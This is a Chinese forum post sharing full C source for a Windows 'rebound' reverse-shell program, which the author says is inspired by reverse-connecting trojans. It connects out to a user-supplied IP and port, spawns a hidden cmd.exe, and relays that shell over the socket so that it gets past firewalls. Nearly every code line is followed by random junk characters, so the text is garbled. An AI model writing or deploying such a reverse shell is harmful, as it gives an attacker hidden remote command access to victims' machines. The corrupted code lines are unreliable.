这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 QF)\\D[
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/* ============================== m8ts!6C
Rebound port in Windows NT DmpT<SI+!
By wind,2006/7 H1I^Vij
===============================*/ -8xf}v~u
#include Wl |5EY
#include y{S8?$dU$:
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#pragma comment(lib,"wsock32.lib") y(o)}m*0
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void OutputShell(); -QroT`gy
SOCKET sClient; 3V<@Vkf5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .4p3~r?=S
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void main(int argc,char **argv) s'h;a5Q1'Q
{ ,$0-I@*V
WSADATA stWsaData; } vmRm*8z
int nRet; |RFBhB/u
SOCKADDR_IN stSaiClient,stSaiServer; ;eN
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if(argc != 3) &'SD1m1P
{ K#YQB3rX
printf("Useage:\n\rRebound DestIP DestPort\n"); PVsKI<
return; #,%7tXOLR
} 7
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WSAStartup(MAKEWORD(2,2),&stWsaData); n:,mo} ?X
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OvtE)ul@
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stSaiClient.sin_family = AF_INET; f<NR6],}
stSaiClient.sin_port = htons(0); f#=c=e-A
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x;17}KV
{ q0iJy@?A
printf("Bind Socket Failed!\n"); O\6U2b~
return; _dJ(h6%3
} eXW|{asx
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stSaiServer.sin_family = AF_INET; y3zP`^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ix5&B6L8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _!nsEG
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WwDM^}e
{ 3 r&
printf("Connect Error!"); O$<>v\NC?
return; :OG I|[
} iQ;p59wSzL
OutputShell(); T#))_aC
} wY8:j
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void OutputShell() 1u
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{ '+`[)w
char szBuff[1024]; iRzFA!wH
SECURITY_ATTRIBUTES stSecurityAttributes; <s9?9^!!V^
OSVERSIONINFO stOsversionInfo; cJ;Nh>ey
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k, HC"?K
STARTUPINFO stStartupInfo; X2z<cJG|d@
char *szShell; U ? +_\
PROCESS_INFORMATION stProcessInformation; *yu}e)(0
unsigned long lBytesRead; 4J2^zx,H
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {KG 6#/%;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FACw;/rW
stSecurityAttributes.lpSecurityDescriptor = 0; i[o 2(d,
stSecurityAttributes.bInheritHandle = TRUE; s6!6Oqh
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #c^V%
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `*C=R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [_,as
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~HZdIPcC
stStartupInfo.wShowWindow = SW_HIDE; aD^$v
stStartupInfo.hStdInput = hReadPipe; nHseA
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3v/B*M VI
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GetVersionEx(&stOsversionInfo); qt@L&v}~j
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switch(stOsversionInfo.dwPlatformId) ]~({;;3o-
{ m`/Nl<
case 1: L*6'u17y
szShell = "command.com"; rbZbj#
break; @5Xo2}o-Q
default: KdkA@>L!;
szShell = "cmd.exe"; '5e,@t%y
break; c3$T3Lu1
} C=:<[_m`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); H@Dpht>[
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send(sClient,szMsg,77,0); W>K^55'
while(1) XKoY!Y\
{ rUiYR]mV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Lc*>sOm9
if(lBytesRead) z3oi(
{ 3k Ci5C
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (l{vlFWd
send(sClient,szBuff,lBytesRead,0); '![oLy
} *g/klK
else =[6^NR(
{ YW7W6mWspS
lBytesRead=recv(sClient,szBuff,1024,0); ,>GHR{7>(
if(lBytesRead<=0) break; ~b f\fPm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LdPLC':}x|
} _BczR:D*
} al2t\Iq90
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return; 8-q^.<9
}